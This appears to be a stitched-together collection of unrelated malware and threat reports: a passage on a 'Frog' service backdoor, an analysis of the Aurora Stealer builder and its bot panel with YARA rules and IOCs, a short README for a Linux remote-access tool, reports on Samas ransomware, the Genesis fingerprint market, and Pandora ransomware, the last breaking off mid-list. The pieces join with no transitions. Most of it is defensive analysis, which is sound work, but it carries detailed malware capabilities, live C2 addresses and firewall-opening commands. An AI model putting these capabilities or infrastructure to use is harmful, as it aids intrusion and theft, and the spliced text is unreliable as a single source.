The config defines parameters for the method task_da_svcinstall, which includes the following:
- `da_svc_exe_loc` – a payload with “Frog” backdoor to be pushed to the remote host;
- `da_svc_exe_name` – defines the filename that will be used to store the backdoor;
- `da_svc_name` – defines the service name that will be used to set up the backdoor service;
- `da_svc_send_proxy` – if this value is set to 0x79, remote host proxy preferences will be copied from the current host to the remote registry;
- `da_svc_host` – is a list of target hosts to attack.
Then the module gets local proxy settings, starting from MS Internet Explorer settings, then parsing Opera profile files (if exist) and finally getting proxy settings from quite suspicious registry keys:
- `HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKCUSoftwareWow6432NodeMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKLMSoftwareWow6432NodeMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
It seems that the MapMenuConfigGrps registry value doesn’t exist on a standard Windows system. We believe that this registry key is set by a malicious module during operation and is used to store proxy server parameters.
After that, the module attempts to find `%AppData%adt.dat`. Two variants are checked – common and user-specific:
- `C:Documents and SettingsAll UsersApplication Data`
- `C:Documents and SettingsusernameApplication Data`
The “adt.dat” file is an encrypted INI-file of known credentials of users in the current domain and attacked organization. When decrypted, this file looks like this:
```
[user] login = “%User1%”
domain = “%Domain%”
password = “%Password2%”
admin = “1”
[user] login = “%User2%”
domain = “%Domain%”
password = “%Password2%”
admin = “1”
```
This information is checked against the local domain controller to find active users with Admin privileges. The verified account is used for optional functionality to establish a NetBIOS connection with the remote host to change the remote registry. However, the only setting that is changed is the MapMenuConfigGrps value mentioned above. It is set to local parameters of the system proxy server which were acquired before.
### Frog Module
**Known variants:**
| MD5 | Compilation date |
|---------------------------------------|------------------------------|
| 595e29a21ecaa4dfcb3a5db18401a9a8 | 2012.05.28 08:56:10 (GMT) |
**Summary**
The file is a PE DLL file without two exported functions (ServiceMain and WinMessage), compiled with Microsoft Visual Studio 2010. This module is used to backdoor the current computer and is used in pair with remote exploit modules (i.e., ms_exploit). It is capable of running arbitrary executable code by saving a file coming from another local machine or a C&C and starting it as a new process (EXE), loading it from disk to memory as a DLL, or mapping it directly from memory and running in a “diskless” mode. It is designed to be a lightweight module, which fits in 100Kb of data, doesn’t create any logs, and isn’t linked with any external libraries.
**DllMain**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”. It decrypts the resource and parses config parameters. Unlike most of the other modules, config parameters for this module have a different format; it is not a script-like config, but a plain binary structure with integer and string values.
**ServiceMain**
If the current module is started by the system during Windows boot as a service, then the ServiceMain function will be called by the system. The code in the function fetches the Registry value from `HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSvcHostepvsvcsAuthCapabilitis`; if this value is not set, it will be set right away. The value is a 20-byte binary hash value of system-dependent information (i.e., username, hostname). It is used as a system ID.
After that, the module creates three independent threads:
- **NamedPipeThread (server mode)**
This thread creates a named pipe `.pipenetNtControlListener` (pipe name defined in the “AAA” config) and waits for incoming connections.
- **TCPThread (server mode)**
This thread opens a listening TCP port 4444 (port number defined in the “AAA” config) and waits for incoming connections.
- **CnCThread (client mode)**
This thread sends port requests to the C&C server URL `http://www.new-driver-upgrade.com/cgi-bin/frog` (defined in “AAA” config), containing current system information, including current username, computer name, local IP address, domain name, system ID, and more, and gets and interprets a response.
While NamedPipeThread and TCPThread work in server mode, which means that they are waiting for incoming client connections and requests, the last thread CnCThread actively connects to the C&C, uploads current system information, and expects a response. The logic of processing transmitted data for all threads is similar. They can either send out data about the current system or receive and run an executable module. There are three variants of executables that these modules can handle:
- **EXE**
The received module is stored on disk in `%TEMP%system32uid.%Current Date and Time%XORed with 0xA4F2%.tmp` and started in a separate process with CreateProcess API.
- **DLL**
The received module is stored on disk in `%TEMP%system32uid.%Current Date and Time%XORed with 0xA4F2%.tmp` and loaded in the current process with LoadLibrary API.
- **PE-IN-MEMORY**
The received module is kept in the memory of the current process using its own PE file loader.
**WinMessage Function**
This function combines DllMain and ServiceMain functions excluding system service manager routines. This module changes the local registry and sets the current system ID, as described above; it is also capable of creating local files. It doesn’t make any local reports nor does it send execution logs to the C&C server. The only information sent to the C&C server is general system info during the first stage of receiving and executing additional payload. |
# Aurora Stealer Builder
**Mohamed Adel**
**April 23, 2023**
## Introduction
In the previous article, I discussed what’s inside Aurora Stealer. After the release, @Gi7w0rm provided me samples of some versions of Aurora Stealer builder, a new version that was created recently and another one that was created in 2022. The newer version has some improvements in the builder and new features we will discuss in this article. Before we start this article, it is important to note that the Builder also contains and creates the Web panel to control the bots. This means the binaries we are looking at are actually a hybrid between a builder and a panel.
## Startup Info
In `main_main`, the first display page is prepared to accept the credentials of the user and start checking them. It first displays an ASCII art of the word Aurora and provides communication channels for contacting the Aurora developers. After the initial screen, it saves the UUID of the user, with the same function discussed before to make sure that only one user is using the builder. Then it asks for the login and password of the user.
## Authentication Method
After the credentials are provided, it calls `main_createAccess`. It saves the string `123` and passes the directory `./cache/Auth.aurora` to a function called `main_exists` that checks if the file exists or not. If it exists, it will ask for hand deleting it; if not, it will create it. It appends the UUID and the string `AURORA_TECHNOLOGY` and calculates the MD5 hash to it using the form `<UUID>AURORA_TECNOLOGY`, after which it takes this hash to make a string in the following form: `123_aurora_<MD5_OF(<UUID>AURORA_TECNOLOGY)>_technology_123`. Then the SHA1 hash is calculated for this string.
It generates the first string again and its MD5 hash. It uses the MD5 hash as a key for the AES GCM encryption routine. The generated bytes are then written to `./cache/Auth.aurora`. To know what was written to the file, we can use this script:
```python
from Crypto.Cipher import AES
import binascii
# key is MD5 hash of <UUID>AURORA_TECHNOLOGY
key = b"<KEY>"
# Auth.aurora content
cipher = "<CIPHER>"
data = binascii.unhexlify(cipher)
nonce, tag = data[:12], data[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce)
cleartext = cipher.decrypt_and_verify(data[12:-16], tag)
print(cleartext)
# cleartext is SHA1 hash of the string
"123_aurora_<MD5_OF(<UUID>AURORA_TECNOLOGY)>_technology_123"
```
## Server Authentication Check
Going back to `main_main`, where it creates yet another hash: this time, the password and login are used to create a string using the following form `<LOGIN>_*Aurora_2023_Technology_<PASS>`. Then, it calculates the SHA1 hash of it. Then, it calls `main_server`. This could be where the authentication of the user happens, just a hypothesis. It sleeps 1000000000 nanoseconds. Then it makes a TCP connection with `185.106.93.237:56763`, which seems to be the server where user authentication is done.
## Dynamic Key Calculation
If the connection is established, it calls `main_DynamicKey`, which generates a key based on the current minutes in the current time, in America/Los_Angeles time format, and calculates the SHA1 hash of it. Back in the `main_Server` function, the builder then puts all the hashes in JSON format to be sent to the server.
## Server Response Info
The remote server then verifies the given data and responds with one of the few response strings below:
| Response | Action |
|-------------------------|------------------------------------------------------------------------|
| HWID_BAD | [Aurora] HWID has a different value on the license server, write support. |
| NOT_FOUND_ACCOUNT | [Aurora] Account has been not found, wrong login or password. |
| LOST_LICENSE | [Aurora] License expired. |
| DYNAMIC_KEY | [Aurora] Dynamic key wrong, check time your OS or write support. |
## Network Emulation
I tried to emulate the C2 communication with fakenet. After a very long time trying to do that, it works to respond to it with the format of data it waits for, but there is something still missing. I edited the configs of the TCPListener of fakenet as can be seen below:
1. In `default.ini`, edit the default configs to the following:
```
[RawTCPListener]
Enabled: True
Port: 56763 # port it comm over
Protocol: TCP
Listener: RawListener
UseSSL: No
Timeout: 100
Hidden: False
Custom: sample_custom_response.ini
```
2. Create or use the `sample_custom_response.ini` provided to contain the following, this is already set by default:
```
[ExampleTCP]
InstanceName: RawTCPListener
TcpDynamic:
CustomProviderExample.py
```
3. The builder waits for a JSON string delimited by the character `0x0A`. If this is not in the response, it will wait forever. As a result, `CustomProviderExample.py` should contain a JSON string ending with `0x0A`. I was testing with the following code:
```python
def HandleTcp(sock):
"""Handle a TCP buffer.
Parameters
----------
sock : socket
The connected socket with which to recv and send data
"""
while True:
try:
data = None
data = sock.recv(1024)
except socket.timeout:
pass
if not data:
break
resp = b'{"Test":"test","Test2":"Test2"}\x0A'
sock.sendall(resp)
```
A value of the JSON string accepted must be the Dynamic key which is generated based on the local time of the user.
## Anti-Debugging Check
This Dynamic key is calculated again, and the two values are compared in order to check if the sample is being debugged.
## License Info and IP Used
The JSON strings also contain some other information about the User and the license. It contains an IP that is used later in some other interesting functions. The author expects only one IP to be used by the builder. It calls `convTstring`, which takes a generic value - any type - and converts it to a string. I don’t really know why it calls `convTstring` as it is an IP; it would be passed as a string in the JSON. Maybe later we realize what’s going on here.
We see some calls to `runtime.newProc`. This function generates a new go running function and puts it in a running Queue of other go functions waiting to run. This is generated by the compiler when using the go keyword. Interested topic, huh? Read more about it here. Sadly, it makes debugging more difficult.
## Why Network Emulation Doesn’t Work Well
Back to the JSON data, it’s decoded with `json.Unmarshal` function, which takes a structure as an input and with the second parameter being the data in bytes. How is the data mapped to the structure? Well, according to Go documentation, `Unmarshal` will look through the destination struct’s fields to find (in order of preference):
- An exported field with a tag of "Foo".
- An exported field named "Foo".
- An exported field named "FOO" or "FoO" or some other case-insensitive match of "Foo".
What happens when the structure of the JSON data doesn’t exactly match the Go type? `Unmarshal` will decode only the fields that it can find in the destination type. So, we should guess the names of the JSON data. One of them is Dynamic key, but we should figure out how it’s decoded. We can use the pattern of the previously sent data; it was called DK. Sadly, this and other attempts didn’t work. So, I will continue the other things only static in IDA.
## Main Functionality
The main functionality of the builder is invoked with a series of goroutine calls. Each called function is preparing some data to be used later or to start the server itself. This serves as the main function of the builder.
## IP Geolocation Database
The first function of the series of `newProc` calls is `main_LoadToDB`, which loads a very huge file called `geo.aurora` that contains a list of IP ranges all over the world. Viewing the cross-reference, we can deduce that it is used to identify the geo-location of a victim. A sample of the content of `geo.Aurora` can be seen below. The file contains ~380MB of data like this:
```json
[
{
"Country_short": "AU",
"City": "Queensland",
"Region": "",
"Zipcode": "",
"Timezone": "",
"In": "1.0.0.0",
"Out": "1.0.0.255"
},
{
"Country_short": "CN",
"City": "Fujian",
"Region": "",
"Zipcode": "",
"Timezone": "",
"In": "1.0.1.0",
"Out": "1.0.3.255"
},
...
]
```
## Bot State
The second function is to get the status of the infected systems. This includes a check if the bot is active, the last connection time of the bot, and the current time.
## Clear Old Screenshots
The third function deletes all the screenshots stored in the bot directory! It sorts the pictures to be deleted by `_` in it, then it gets what has `ACTUAL` word in it. Lastly, it deletes the file extension `.png` from the string using `strings.Trim` and the new string should be a number as it calls `strconv.atoi` and then gets the current time. What a mess! It then proceeds to finally delete the file.
## Command Receiver
The next function is `main_CommandReceiver`. It queues the commands received by the builder. The function `map.Range` has the definition:
```go
func (m *Map) Range(f func(key, value any) bool)
```
Where `f` is a function called for each `<key,value>` pair. So the variable `CMD_QUEUE` would contain the received commands. Going through the function `main_CommandReceiver_func2`, we see that the software first checks if the received command is `STOP`. If the `STOP` command is received, the builder exits. For all other commands, it goes to another function `main_CommandReceiver_func2_1`. It’s expecting a 3-character long command `MIX`. It packs data about the victims with GZip and base64 encodes it, then stores it back using `map.store`.
## Main Server Functionality
The server is now ready to work and build the graphical interface of the builder to view the victim’s data and state and further use the victims as Bots and Stealer hosting servers using SFTP. The next function is `main_SERVER_func1`, which calls `main_ForwardPort` with argument `:7367`. Then this function calls `aurora_core_server__Server_Start`, this long value is passed with the port number passed to its driver function. This function starts the main server that displays the dashboard. I tried to adjust the execution to continue, but the program crashed. Note: SixSixSix is the author of the Stealer and not my username.
## TCP Listener
Back to function `main_Server_0` (main_Server). It logs the start of the server in the main display. The server is started using `net.Listen` function that takes the protocol = tcp and port = 456.
## Main Client
After setting up the Server, the function `main_server_func2` is called. This function only calls the `main_Client` function.
## Handling Incoming Data
To handle incoming data from the victim, the panel/builder reads the data on the listening port using `bufio__Reader_ReadString`. This data must be delimited by `0x0A` as discussed previously. It comes in a compressed format, so the function `main_uncompress` is used to decompress it. To do so, the function takes the base64 encoded data and decodes it, then it is decompressed using GZip. You might remember from my last article that this is the way the data was sent from the victim’s device. The data is in the form of JSON, so it’s extracted with a call to `json.Unmarshal`. The resulting data is then stored in a victim database file. The last message is additionally stored in the map function.
## Update Victims DB
One of the first packets received from the victim is a large base64 blob. After decoding it using the above-mentioned method, it can be seen that this blob is a screenshot from the victim’s machine. This image is used to update the screenshot that contains `_ACTUAL.png`. The old one is then deleted. The other screenshots are stored in a similar way, but the name is different. It updates the stolen victim data as well, and the last response from each infected host is stored in the previously created map.
## The Victim’s Location Identification
`main_GetGeo` is then called. If we remember, the loaded JSON string was referenced in this function. It parses the string IP to convert to IP to a Go IP type, which is a decimal dotted IP address. Then it goes through a very large loaded JSON string that contains every IP range associated with each region all over the world. The new victims will have an identifier as the string `MIX` that is checked to handle the new victims. If the victim is new, it will store the screenshot with `_ACTUAL` tag as discussed before, but there is no old one to delete. At the very end of the function, a call to `main_Registration` is made. This function just adds a new entry to the victims’ list and gets the geolocation of the victim.
## Main Web Server
At the beginning of the function `main_Server`, there was a goroutine that I missed initially. It calls `main_web` before the call to `net.Listen`. `main_web` initializes the web interface of the builder and the dashboard with all of its functionality. The server starts at port `8181`. The function follows the same pattern to set the methods of the handler for APIs. The following table contains all available APIs with their associated handlers:
| API | APIHandler | Description |
|----------------------------|------------------------|-----------------------------------------------------------------------------|
| getbots | main_web_func1 | List all the victims by walking through `main_BOT_CONN` map |
| callback | main_web_func2 | Get the callback message of each victim through `main_BOT_LASTMESSAGE` |
| callback_STR | main_web_func3 | Get the callback message string for each victim stored at `main_BOT_LASTMESSAGE_STRING` |
| callback_ps | main_web_func4 | Get the PowerShell response of each victim through `main_BOT_POWERSHELL_MESSAGE` |
| Statistic | main_web_func5 | Shows statistics about the victims stored in `.Aurora` file in `./bots/` folder |
| send_pw | main_web_func6 | Sends a base64 encoded PowerShell command to the victim using the JSON format |
| GiveMeBuild | main_web_func7 | Checks/builds the executable file of the stealer. The build file is stored in `.\build` |
| send | main_web_func8 | Sends cmd/PowerShell commands to the victims. |
| sftp_stop_reverse | main_web_func9 | Closes the SFTP connection with the victims and closes the associated port forwarding functionality. |
| sftp_reverse | main_web_func10 | Start a SFTP server with the victim. |
| screenshot | main_web_func11 | Takes a screenshot of the victim. |
| bot | main_web_func12 | Displays the status of the bots and all information. |
| logout | main_web_func13 | Logs out! |
| auth | main_web_func14 | Authenticate the access of the client. |
| dashboard | main_web_func15 | The dashboard of the stealer, which shows some data about the active and offline Bots. |
| del_cmd | main_web_func16 | Deletes a registered command from the `main_CMD_QUEUE` assigned to the victim. |
| commands | main_web_func17 | Display the command selection interface in the `web/commands.html` template. |
| AddCommand | main_web_func18 | Add a new command to the victim commands list. |
| AddLoaderCommand | main_web_func19 | Add loader command. |
## Older Version of the Builder
There’s another sample provided to me, executable `hash33fc61e81efa609df51277aef261623bb291e2dd5359362d50070f7a441df0ad`. This sample looks like it was one of the first trials of the author to create a stealer in Go. It depends on many additional legitimate packages from GitHub to create the server and handle the database manipulation and some other things. In the newer builder, it seems like he got more familiar with the Go Language and didn’t rely on the packages from GitHub.
The package used to grab the favicon (from the first GitHub account), create the GUI web application (the second account), provide sqlite3 interface, and provide a library like ReadLine in C. The repositories are in the following table:
| Old Sample | New Sample |
|------------------------------------------------------------------|------------------------------------------------------------------|
| http://github.com/adampresley/gofavigrab | http://github.com/vmihailenco/tagparser |
| http://github.com/asticode/go-astikit | http://github.com/vmihailenco/msgpack |
| http://github.com/chzyer/readline | |
| http://github.com/go-telegram-bot-api/telegram-bot-api | |
| http://github.com/gorilla/mux | |
| http://github.com/jroimartin/gocui | |
| http://github.com/manifoldco/promptui | |
| http://github.com/mattn/go-runewidth | |
| http://github.com/nsf/termbox-go | |
The old sample has some functions that were described before, which were extended in the 2023 version. The hash calculation method and dynamic key but instead of `Aurora_Stealer_2023`, it is `Aurora_Stealer_2022`. Then it connects to the remote server to authenticate the user data, to the IP `185.106.93.237:6969` using TCP protocol.
Another dynamic key is used to authenticate with the server, based on the current time too; however, in the old sample, the string `Aurora_Stealer_SERVER` is used. This key is sent to the remote server and calculated later in the following code to verify the user access and the dynamic key to make sure there is no debugging session started.
If the keys do not match, the function breaks and the program is terminated. Another dynamic key is calculated, but this time for the client; it uses the string `Aurora_Stealer_2033` with the same timing method of calculation discussed. The hashes are stored then in `ATX.Aurora` in `./cache` folder.
It then checks the existence of some files: `./cache/ATX.Aurora`, `./cache/telegram.Aurora`, `./cache/Config.Aurora`, and `./cache/Trash`. `./cache/Trash` contains older Aurora executables; the older executables are auto-moved to this folder using PowerShell command, and the new version, which is expected to be in `.zip` format with the name `Update.zip`, is then unzipped and replaces the older version. The program is then restarted using PowerShell. This is all done in `main_AutoUpdate` function.
The function `main_ReadTGData` reads telegram data from the file `./cache/telegram.Aurora`, which is AES encrypted. The authentication is done using a telegram bot through the telegram API. This authentication method is removed from the new version, where everything is done through communicating with the remote server.
The old builder additionally contains an important function called `main_LoadStealer`. This function calls two other goroutines. Both functions execute PowerShell commands that configure the firewall to allow it to receive incoming TCP connections through Port 80 and 8081.
```powershell
# function main_LoadStealer_func2 allow it on local port 80
netsh advfirewall firewall add rule name="Port 80 dir=in action=allow protocol=TCP localport=80
# function main_LoadStealer_func2 allow it on local port 8081
netsh advfirewall firewall add rule name="Port 8081 dir=in action=allow protocol=TCP localport=8081
```
At the end of the main function, it creates a new hidden instance of CMD and starts the Web service of the stealer using the function `main_StartWeb`. This function starts the web service on localhost `http://127.0.0.1/dashboard`. It has a different set of APIs and different associated handlers than the newer version.
## Yara Rules
All the rules can be found here.
### New Builder Version
```yara
rule aurora_stealer_builder_new {
meta:
malware = "Aurora stealer Builder new version 2023"
hash = "ebd1368979b5adb9586ce512b63876985a497e1727ffbd54732cd42eef992b81"
reference = "https://d01a.github.io/"
Author = "d01a"
description = "detect Aurora stealer Builder new version 2023"
strings:
$is_go = "Go build" ascii
$s1 = "_Aurora_2023_Technology_" ascii
$s2 = "AURORA_TECHNOLOGY" ascii
$s3 = "scr_n_f.png" ascii
$s4 = "EXTERNAL_RUN_PE_X64" ascii
$s5 = "[Aurora]" ascii // log messages begin with [Aurora] __LOGMSG__
$fun1 = "main.Server" ascii
$fun2 = "main.GetAcess" ascii
$fun3 = "main.AddCommand" ascii
$fun4 = "main.GetGeoList" ascii
$fun5 = "main.GiveMeBuild" ascii
condition:
uint16(0) == 0x5a4d and ( $is_go and (2 of ($s*)) and (2 of ($fun*))
}
```
### Old Builder Version
```yara
rule aurora_stealer_builder_old {
meta:
malware = "Aurora stealer Builder old version 2022"
hash1 = "33fc61e81efa609df51277aef261623bb291e2dd5359362d50070f7a441df0ad"
reference = "https://d01a.github.io/"
Author = "d01a"
description = "detect Aurora stealer Builder old version 2022"
strings:
$is_go = "Go build" ascii
$s1 = "ATX.Aurora" ascii
$s2 = "Aurora_Stealer_2033" ascii
$s3 = "Aurora_Stealer_SERVER" ascii
$s4 = "[Aurora Stealer]" // log messages
$fun1 = "main.DecryptLog" ascii
$fun2 = "main.CreateDB" ascii
$fun3 = "main.GenerateKey" ascii
$fun4 = "main.TGParce" ascii
condition:
uint16(0) == 0x5a4d and ( $is_go and (2 of ($s*)) and (2 of ($fun*))
}
```
## IOCs
- `aurora.exe`
`ebd1368979b5adb9586ce512b63876985a497e1727ffbd54732cd42eef992b81` (2023 version)
- `builder archive`
`e7aa0529d4412a8cee5c20c4b7c817337fabb1598b44efbf639f4a7dac4292ad` (2023 version)
- `aurora.exe`
`33fc61e81efa609df51277aef261623bb291e2dd5359362d50070f7a441df0ad` (2022 version)
- `geo.Aurora`
`33b61eb5f84cb65f1744bd08d09ac2535fe5f9b087eef37826612b5016e21990`
- `ds.html`
`1def6bdec3073990955e917f1da2339f1c18095d31cc12452b40da0bd8afd431`
- `statistic.html`
`f1ba92ae32fcaeea8148298f4869aef9bcd4e85781586b69c83a830b213d3d3c`
- `bot.html`
`8b1abbb51594b6f1d4e4681204ed97371bd3d60f093e38b80b8035058116ef1d`
- `commands.html`
`e9cf3e7d2826fa488e7803d0d19240a23f93a7f007d66377beb1849c5d51c0af`
- `register.html`
`d7829f17583b91fb1e8326e1c80c07fc29e0608f1ba836738d2c86df336ea771`
- `settings.html`
`1b88624936d149ecdea6af9147ff8b2d8423125db511bdf1296401033c08b532`
- `185.106.93.237:56763`
Aurora server - version 2023 - used in user account verification
- `185.106.93.237:6969`
Aurora server - version 2022 - used in user account verification
- `Auth.aurora`
Locally created for each Aurora panel user and used in account verification
- `scr_n_f.png`
Contains config information
## Acknowledgments
@gi7w0rm for providing me with the samples and helping me format the article to make it better. |
# RAT - Hodin
A Remote Administration Tool for Linux
## Dependencies
Install GTK 2.0 with the following commands:
```
sudo apt-get install gtk2.0
sudo apt-get install build-essential libgtk2.0-dev
```
## Videos Tutoriels
Hodin from A to Z:
https://www.youtube.com/watch?v=E7BmMhXdN4Y
## Screenshots
Enjoy & Have Fun! |
# Ransomware Deployed by Adversary with Established Foothold
A threat actor deployed ransomware weeks to months after compromising the system. During February and March of 2016, SecureWorks analysts responded to several ransomware incidents that appear to have been initiated by the same threat group or threat actor. The analysts determined that the infections did not occur from victims clicking a link or opening an email attachment, but rather from a threat actor accessing the infrastructure through an under-managed, Java-based enterprise application platform, performing reconnaissance of the infrastructure, and then purposefully deploying ransomware to a number of systems (typically servers) within the infrastructure.
The adversary initially accessed the infrastructure through the JBoss enterprise application platform. Log analysis revealed use of various versions of the JBoss exploitation tool known as JexBoss. At a later stage of the incident, the threat actor deployed the REGeorg SOCKS proxy.
After gaining system access in one of the incidents, the adversary used the mimikatz tool to collect credentials and then used the compromised credentials to log into user accounts and perform additional actions within the infrastructure. The analysts also observed the threat actor creating a user account named “jboss,” which in most cases was a local administrator account on the compromised JBoss system.
In several of the analyzed incidents, the adversary then performed reconnaissance of the infrastructure by downloading, installing, and executing the SystemTools Hyena network scanning tool. Using appropriate credentials, the threat actor could collect information (e.g., installed software, configuration settings, users, groups) from networked systems. The adversary also used Visual Basic scripts (*.vbs files) to download additional tools, as well as batch files to automate a number of rudimentary tasks. For example, one batch file was used to parse a list of system names and ping each with a single packet, creating separate lists for available and unavailable systems.
Once a list of systems is finalized, the adversary uses several tactics to deploy the Samas ransomware. SecureWorks analysts located this ransomware in files named samsam.exe and sqlsrvtmg1.exe. The analysts also found the batch files used to deploy and execute the ransomware, indications that the threat actor used the PsExec remote process execution tool, and artifacts that indicate that the adversary used the Remote Desktop Client to connect to additional systems within the infrastructure.
The victims engaged SecureWorks shortly after files were encrypted because employees could not access data required for their daily work and operations. In all cases, the adversary had initially compromised the JBoss server several weeks or several months before deploying the ransomware. Endpoint security and detection mechanisms such as the SecureWorks Advanced Endpoint Threat Detection (AETD) service might have detected the malicious activity before the threat actors encrypted the files. |
# Cybercrime Market Selling Full Digital Fingerprints of Over 60,000 Users
Genesis service is selling users' personal data, complete with digital fingerprints, such as account credentials, cookies, browser user-agent details, and more.
Today, at the Kaspersky Security Analyst Summit conference taking place in Singapore, security researchers from Kaspersky Lab revealed the existence of a new cybercrime marketplace where crooks are selling full digital fingerprints for over 60,000 users. This new marketplace is like nothing that has ever been seen on the hacking scene until now. Named Genesis, the service launched in the fall of 2018, when its creators began advertising it as a "secondary/related service" on several carding forums (forums where cyber-criminals sell stolen payment card details).
Genesis' main product is users' full digital profiles. Users who in the past have been infected with malware or who have installed rogue browser extensions have unknowingly had their account passwords and full browser details recorded, and then sent to Genesis operators. Each user profile includes login credentials for accounts on online payment portals, e-banking services, file-sharing or social networking services, but also the cookies associated with those accounts, browser user-agent details, WebGL signatures, HTML5 canvas fingerprints, and other browser and PC details.
Genesis operators make their profits by selling this information on their marketplace to other cyber-criminal groups. The marketplace's main clientele are cyber-criminals engaged in online fraud, identity theft, and money mule operations. Genesis buyers can acquire a user's digital identity for prices ranging from $5 to $200 and then log into that user's account to steal funds, personal photos, sensitive or proprietary documents, or submit official papers on his behalf (to government-related agencies).
To use any of the user identities crooks buy from Genesis, buyers will have to install a Chrome extension that has been created by the Genesis team. This extension, provided free of charge to any buyer, automatically imports and applies a Genesis-bought identity, transforming the buyer's browser into a near-identical clone of the real user's browser.
The reason why a marketplace like Genesis has come to exist today is because in recent years, online services have improved their anti-fraud systems and are now capable of detecting abnormal account login activity by looking at more details, rather than only a user's username and password. Genesis identities (also called masks or fingerprints) will allow a crook to look as close to the real account owner as possible, fooling some of these modern anti-fraud systems, often deployed with online payment and e-banking services. In an online ad found by ZDNet, Genesis' creators claim they "reviewed top 47 analytical systems and 283 major banks and payment systems" in order to determine what tracking and detection systems their cloned fingerprints needed to bypass.
Kaspersky said today that Genesis has already entered the arsenal of some cyber-criminal gangs, and they are "actively using such digital doppelgangers to bypass advanced anti-fraud measures." Experts recommend that users enable multi-factor authentication for every online account that supports it, but also recommend that companies add support for additional user identification mechanisms, such as biometrics. |
# Looking Inside Pandora’s Box
In Greek mythology, the opening of the infamous Pandora’s box (jar) introduced terrible things to the world. That can also be said about today’s ransomware. The newly emerged Pandora ransomware that crowned the name is no exception. It steals data from the victim’s network, encrypts the victim’s files, and unleashes the stolen data if the victim opts not to pay. The Greek myth says hope was left in the box. Does that hold true for Pandora ransomware, an emerging malware that shows all techniques used by modern ransomware? In this blog, we are taking a hammer and crowbar to look inside today’s Pandora’s box to find out what mysteries it holds. We will discuss:
- How this ransomware tries to evade detection
- The numerous obfuscation and anti-analysis techniques that are used to hinder analysts
- How multi-threading is used to speed up processing
- How the filesystem is processed
- How and which files are encrypted.
**Affected Platforms:** Windows
**Impacted Users:** Windows users
**Impact:** Most files on the compromised machines are encrypted
**Severity Level:** Medium
## Pandora Group
The Pandora ransomware group emerged into the already crowded ransomware field as early as mid-February 2022 and targets corporate networks for financial gain. The group got recent publicity after they announced that they acquired data from an international supplier in the automotive industry. The incident came as a surprise as the attack came two weeks after another automotive supplier was reportedly hit with unknown ransomware, which resulted in one of the world’s biggest car manufacturers suspending factory operations. The threat group uses the double extortion method to increase pressure on the victim. This means that they not only encrypt the victim’s files but also exfiltrate them and threaten to release the data if the victim does not pay.
The Pandora Group has a leak site in the Dark Web (TOR network), where they publicly announce their victims and threaten them with the data leak. There are currently three victims listed on the leak site: a U.S.-based real estate agency, a Japanese technology company, and a U.S. law firm.
## Malware Analysis
We analyzed the sample with the SHA-256 hash `5b56c5d86347e164c6e571c86dbf5b1535eae6b979fede6ed66b01e79ea33b7b`, which is a 64-bit Windows PE file. It is the ransomware itself, so by the time this file is executed during an attack, the attackers probably already had extensive access to the victim’s network, and they had already exfiltrated the data they will use for the extortion. This sample does not have the capability to communicate with the threat actors. Its sole purpose is to find and encrypt files. However, it does this in an interesting and complex manner.
### Execution Flow
The sample goes through the following steps:
1. **Unpacking:** The sample is packed with a modified UPX packer, so the first step is to unpack the real content to memory and jump to it.
2. **Mutex:** It creates a mutex called `ThisIsMutexa`.
3. **Disable Security Features:** It can delete Windows shadow copies, bypass AMSI, and disable Event Logging.
4. **Collects system information:** `GetSystemInfo()` is used to collect information about the local system.
5. **Loads Hardcoded Public Key:** A public key is hardcoded in the malware sample. This is used to set up the cryptography for encryption.
6. **Store Private and Public Keys in Registry:** A private key is generated, and both the hardcoded public key and the newly generated private key are stored in the registry.
7. **Search Drives:** It searches for unmounted drives on the system and mounts them to encrypt them as well.
8. **Setup Multi-Threading:** The sample uses worker threads to distribute the encryption process.
9. **Enumerate Filesystem:** The worker threads start to enumerate the filesystems of the identified drives.
10. **Drop Ransom Note:** The ransom note is dropped in every folder in `Restore_My_Files.txt`.
11. **Check File Name Blacklist:** For every file and folder, a blacklist of file/folder names is checked. If the file/folder is on the blacklist, it will not be encrypted.
12. **Check File Extension Blacklist:** Each file is checked against a file extension blacklist. If the extension is on the list, it will not be encrypted.
13. **Unlock File:** If the file is locked by a running process, the sample will try to unlock it using the Windows Restart Manager.
14. **Encrypt File:** The worker threads will encrypt the file and write it back to the original file.
15. **Rename File:** Once the encryption is finished, the file is renamed to `[original_filename].pandora`.
### Anti-Reverse Engineering Techniques
One of the most significant aspects of the Pandora ransomware is the extensive use of anti-reverse-engineering techniques. This is not new for malware, but Pandora lies on the extreme side of how much is invested in slowing analysis down.
#### Packed
The sample is packed with a modified UPX packer, which can be easily detected. However, the standard UPX unpacker does not work, indicating that the packer was modified to ensure that off-the-shelf tools cannot be used to unpack it. Unpacking is still relatively easy by scrolling down from the entry point to the end of the code in a debugger.
#### Control-Flow Flattening
Control-Flow Flattening is an obfuscation technique that can hide the structure of the program by modifying the control-flow. Pandora uses a complex control-flow flattening combined with opaque predicates to complicate the control flow even further.
#### String Encoding
Some strings can be found in the unpacked binary, but most of them are from the statically linked libraries. However, the strings that would help us understand what is happening in the code are encoded.
#### Function Call Obfuscation
Most function calls are not calling a direct address but a register. Its value is calculated at runtime.
#### Windows API Call Obfuscation
The Windows API function names are not encoded, but another obfuscation technique is used to hide their usage. The Windows API functions are organized in a jump table.
### Multi-Threading
Pandora uses multiple threads to speed up the encryption process. It uses Windows’s IO Completion Ports concept, allowing threads to wait for a file/network handle to appear in the IO Completion Port queue and process them.
### Restart Manager
The Restart Manager is a Windows feature to reduce the number of restarts needed during installation and updates. Pandora uses the Restart Manager to ensure that even files that are currently locked will be encrypted.
### Encryption
Before a file is encrypted, Pandora checks against a blacklist of file and folder names. If the target file is on the list, Pandora will not encrypt it. Each target file is compared to a list of file extensions. If the file’s extension is on the list, the file will not be encrypted.
The ransom note promises an RSA-2048 encryption. The fact that malware is shipped with a hardcoded RSA-2048 public key confirms this claim. A private key is also generated, and both of these keys are stored in the registry.
### Disabling Security Features
The Pandora ransomware has the capabilities to disable some of the security measures on the target machine.
- **Deleting Shadow Copies:** Pandora deletes the Windows Shadow Copies, which could help the operator restore the machine to a state before the infection.
